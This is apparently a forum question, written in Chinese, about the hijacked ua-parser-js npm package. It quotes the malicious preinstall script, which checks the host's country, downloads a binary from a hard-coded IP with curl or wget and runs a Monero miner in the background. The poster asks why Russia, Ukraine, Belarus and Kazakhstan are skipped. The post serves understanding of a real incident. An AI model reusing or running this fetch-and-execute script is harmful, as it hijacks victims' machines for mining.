最近（刚刚）ua-parser-js发现 npm 包被劫持。劫持在预安装时安装了一个加密矿工，但我注意到预安装脚本中的以下段落：

IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
     then
var=$(pgrep jsextension)
    if [ -z "$var" ]
        then
        curl http://159.148.186.228/download/jsextension -o jsextension 
        if [ ! -f jsextension ]
            then
            wget http://159.148.186.228/download/jsextension -O jsextension
        fi
        chmod +x jsextension
        ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
    fi
 fi

我的问题是为什么脚本会在下载有效负载之前检查服务器是否在俄罗斯、乌克兰、白俄罗斯或哈萨克斯坦？这些国家有什么特别之处吗？